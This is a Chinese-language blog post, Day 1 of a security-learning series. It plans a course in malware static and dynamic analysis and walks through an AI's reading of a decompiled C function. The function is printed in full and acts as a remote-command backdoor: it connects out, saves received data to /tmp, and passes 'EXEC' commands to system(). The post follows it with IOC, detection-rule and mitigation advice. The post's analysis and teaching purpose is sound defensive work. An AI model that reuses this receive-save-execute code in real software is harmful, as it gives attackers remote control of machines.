iT邦幫忙

2025 iThome 鐵人賽

DAY 1
0
自我挑戰組

利用生成式AI等工具來學習資安系列 第 1

Day 1 — 目標與工具準備:定義學習目標、安裝工具。產出:學習目標與工具清單。

  • 分享至 

  • xImage
  •  

— 掌握基礎惡意程式靜動態分析流程

目標說明:學會基本靜態(strings、Ghidra/IDA)與動態(sandbox、procmon/strace)分析流程,並對一個 sample 撰寫行為摘要與 IOC 清單。

里程碑(4 週)

Week1:建立安全的分析環境(隔離 VM、快照、網路封鎖)。
Week2:靜態分析練習:strings、PE header、基本反編譯。
Week3:動態分析練習:監控檔案/網路/進程行為。
Week4:完成一份完整 sample 分析報告(含 IOCs 與修復建議)。

每日/每週任務範例

Day:建立 Windows/Linux VM,安裝分析工具並拍快照。
Day:用 AI 幫你解讀 Ghidra 中的函式(貼反編譯片段請 AI 協助找可疑行為)。
Day:運行 sample(離線或 sandbox),收集檔案系統、Registry、network 行為。

交付物範例
Sample 分析報告:靜態發現、動態行為、IOCs(hash、domain、IP)、緩解措施。

工具
Ghidra / IDA Free、strings、rizin、Cuckoo sandbox(或本地 VM + tcpdump/strace/procmon)、VirusTotal(僅檢查 hash/標籤,不上傳敏感 sample)。

範例 AI Prompt

我有一段反編譯輸出(
int FUN_00102000(int param_1, char *param_2)
{
    char buf[512];
    int sockfd;
    int len;
    FILE *fp;
    char *ptr;
    memset(buf,0,0x200);
    sockfd = socket(2,1,0);
    if (sockfd < 0) {
        return -1;
    }
    connect(sockfd, (struct sockaddr *)&remote_addr, 0x10);
    len = recv(sockfd, buf, 0x200, 0);
    if (len <= 0) {
        close(sockfd);
        return -2;
    }
    ptr = strstr(buf, "SAVE:");
    if (ptr != NULL) {
        ptr += 5;
        snprintf(buf, 0x200, "/tmp/%s", ptr);
        fp = fopen(buf, "w");
        if (fp != NULL) {
            fwrite(ptr, 1, strlen(ptr), fp);
            fclose(fp);
        }
    }
    if (strstr(buf, "EXEC") != NULL) {
        system(ptr);
    }
    if (param_1 == 1) {
        memcpy(param_2, buf, 0x100);
    }
    close(sockfd);
    return 0;
}
)
我請ChatGPT檢查是否含有可疑的網路連線、檔案操作或加密函式,並解釋每個可疑呼叫的意義與可能目的。

一眼看出的可疑呼叫與行為

socket(2,1,0) / connect(sockfd, (struct sockaddr *)&remote_addr, 0x10)

意義:建立網路 socket 並連到某個遠端位址(remote_addr 很可能是硬編碼或在其他地方設定)。

可能目的:C2(command-and-control)連線、從遠端接收指令或資料。

為何可疑:惡意程式常會主動對外連線以接收指令或上傳蒐集到的資料。

len = recv(sockfd, buf, 0x200, 0);

意義:從遠端 socket 讀入最多 512 bytes(0x200)到 buf。

可能目的:接收命令、payload、檔案內容或參數。

為何可疑:直接把網路輸入放到固定緩衝,若後續未驗證就使用,會造成任意資料被執行/寫檔。

ptr = strstr(buf, "SAVE:"); 與後續 snprintf(buf, 0x200, "/tmp/%s", ptr); fopen(buf, "w"); fwrite(ptr, 1, strlen(ptr), fp);

意義:檢查接收到的資料是否含有 "SAVE:" 標記;若有,則把標記後的內容組成 /tmp/<內容> 路徑並寫入檔案。

可能目的:從遠端接收檔案內容並在目標系統寫成檔案(dropper / downloader)。

為何可疑:將任意遠端資料寫入 /tmp,容易成為惡意程式載體或腳本。若未處理路徑字元,可能造成不當檔案覆蓋或路徑穿越。

if (strstr(buf, "EXEC") != NULL) { system(ptr); }

意義:若 buf 含 "EXEC" 就呼叫 system(ptr) 執行 ptr 指向的命令。

可能目的:遠端下達命令直接執行(RCE 行為),可用於下載並執行更多 payload、建立後門、清除紀錄等。

為何可疑:system() 會交由 shell 執行,若指令由網路傳入且未過濾,將是高風險的任意命令執行。

memcpy(param_2, buf, 0x100);

意義:當 param_1 == 1 時,把 buf 的內容拷貝到外部的 param_2 緩衝(長度 0x100)。

可能目的:把接收到的資料回傳或供其他函式使用,可能是資料回送、回顯或進一步處理。

為何可疑:如果 param_2 的實際長度或邊界未被檢查,會有緩衝區覆蓋風險。

其他:memset(buf,0,0x200)、snprintf、fclose、close(sockfd)

都是正常操作,但與上面組合起來形成「接收→儲存→執行」的攻擊鏈。

缺少加密/驗證呼叫

你提供的程式片段沒有看到任何加密、簽章或驗證機制(例如 TLS、驗證 token、簽名驗證等),表示接收的命令/檔案可能未經簽署或加密即可使用——這在惡意軟體中很常見(簡單而直接)。

具體風險點(優先等級)

高風險:system(ptr) — 任意命令執行(RCE)。

高風險:從網路直接 recv 並 fwrite 到 /tmp — 可做為 dropper。

中風險:硬編碼或外部設定的 remote_addr — C2 端點。

中風險:未檢查 ptr 與字串邊界、未驗證接收內容完整性。

低/中風險:memcpy 可能導致本地緩衝覆寫或資訊外洩。

建議的下一步調查(動態 + 靜態)

靜態檢查

在 binary 中搜尋字串 "SAVE:", "EXEC", 以及 remote_addr 的定義(找硬編碼 IP/域名)。

找出呼叫 system 的所有位置,看看參數來源。

產生 binary 的 hash,查 VirusTotal 或類似指標(注意不要上傳惡意 sample 到不可信服務)。

動態分析(在隔離環境)

在 sandbox/VM 中執行(網路隔離或模擬 C2),用 tcpdump / wireshark 捕捉 outbound 連線。

使用 strace(Linux)或 procmon(Windows)監控檔案、process、網路呼叫(特別是 fopen/fwrite/system)。

抓取 recv 的實際內容(可以在調試器中截取 buf),查看 SAVE: 與 EXEC 後的 payload 格式。

證據收集

收集可疑 remote_addr(IP/domain)、寫入的檔案路徑(/tmp/)、產生的檔案 hash、可能執行的命令(從 system)。這些都可以做為 IOC。

偵測(SIEM / IDS 規則)建議(範例)

偵測程序 A 嘗試對外建立 TCP 連線到未知或可疑 IP。

偵測程序嘗試寫入 /tmp/* 或其他暫存目錄並馬上執行該檔(寫檔後 spawn process)。

偵測到程序呼叫 system 或 spawn shell 並帶有可疑參數(需要動態分析 agent 支援)。

搜尋二進位包含字串 "SAVE:" 或 "EXEC",列入待檢查名單。

(可把上面規則轉成 SIEM 搜尋條件或 EDR 的行為偵測規則)

緩解建議(如果是你的程式)

不要直接執行來自網路的字串:移除 system(ptr) 或至少建立嚴格白名單驗證。

驗證與簽章:在寫檔或執行前驗證數位簽章或 HMAC。

最小權限寫檔:避免寫到 /tmp,使用受限目錄與安全的檔案開啟 flag(O_EXCL)。

邊界檢查:在 recv、memcpy、snprintf 使用前檢查長度並避免使用不安全 API。

網路加密與認證:使用 TLS 並對伺服器進行憑證驗證;或至少對 C2 指令做認證。

今天是資安學習的第一天,主要目標是了解生成式 AI 在資安學習中的應用,並熟悉反編譯的概念與流程。我學會了什麼是反編譯輸出、它與組譯碼的差別,以及如何辨識可疑行為。雖然還沒動手實作,但透過分析範例,我對網路連線、檔案操作與命令執行的潛在風險有初步理解,對後續的動態分析與實作有明確方向,也建立了使用 AI 助學的基礎心得。


下一篇
Day 2 快速掌握 OWASP Top10 與 MITRE ATT&CK 要點
系列文
利用生成式AI等工具來學習資安2
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言